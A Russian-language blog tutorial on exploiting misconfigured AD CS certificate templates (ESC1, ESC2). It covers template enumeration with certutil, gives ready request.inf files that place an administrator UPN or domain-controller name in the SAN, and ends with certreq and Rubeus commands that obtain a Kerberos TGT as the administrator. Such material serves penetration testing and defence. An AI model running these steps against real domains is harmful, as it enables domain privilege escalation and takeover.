Атаки на ADCS: Уязвимые шаблоны сертификаты

Уязвимые шаблоны сертификатов являются следствием настроек их параметров, а также настроек самого центра сертификации.

В результате выполнения команды certutil -v -Template > Templates.txt будет получен файл, содержащий всю информацию о шаблонах сертификатов, который следует проанализировать.

Существуют общие признаки использования уязвимых шаблонов.

В параметре TemplatePropSecurityDescriptor должны быть права на выпуск сертификата Allow Enroll. То есть в этом параметре должна быть прописана группа, в которой есть членство или контролируемый пользователь.

В параметре TemplatePropEnrollmentFlags должен отсутствовать флаг CT_FLAG_PEND_ALL_REQUESTS. Данный флаг требует подтверждения менеджера на выпуск сертификата.

Параметр TemplatePropEKUs содержит 1.3.6.1.5.5.7.3.2 Client Authentication. Также стоит обратить внимание на параметр TemplatePropExtensions, особенно на Enhanced Key Usage и Application Policies. Скорей всего они будут совпадать, но следует помнить, что Application Policies имеет приоритет над Enhanced Key Usage.

ESC1

Основной признак данного типа уязвимого шаблона сертификата — это параметр TemplatePropSubjectNameFlags. Если он содержит флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, то можно указать альтернативное имя SAN, а затем использовать это имя при запросе TGT билета Kerberos.

Если все звезды сошлись требуется создать файл request.inf со следующим содержимым:

[NewRequest]
Exportable = TRUE
Subject = "CN=user,CN=Users,DC=domain,DC=local"
[RequestAttributes]
CertificateTemplate = "ESC1"
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=domain.local\admin"

Для компьютера SAN будет выглядеть следующим образом:

[NewRequest]
Exportable = TRUE
Subject = " CN=comp,CN=Computers,DC=domain,DC=local"
[RequestAttributes]
CertificateTemplate = "ESC1"
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "dns=dc.domain.local"

Дальше запрос сертификата с помощью certreg.exe и экспорт с помощью certutil.exe

После выполнения команды certreq.exe -accept можно увидеть строку Subject: CN=user, CN=Users, DC=domain, DC=local (Other Name:Principal Name=domain.local\admin), которая указывает, что альтернативное имя было установлено для сертификата.

И теперь можно запросить TGT билет Kerberos с помощью Rubeus

Rubeus.exe asktgt /user:admin /certificate:< Thumbprint>

ESC2

В данном случае все то же самое, что и с ECS1, за исключением того, что EKU может быть пустым или в нем установлено значение Any purpose Проверить параметры TemplatePropEKUs и TemplatePropExtensions.

Следовательно, сертификат может использоваться для чего угодно, но в нашем случае нас интересует только получение TGT билета Kerberos. Файл request.inf будет точно таким же.

*

Отправить комментарий (0)
Новые Старые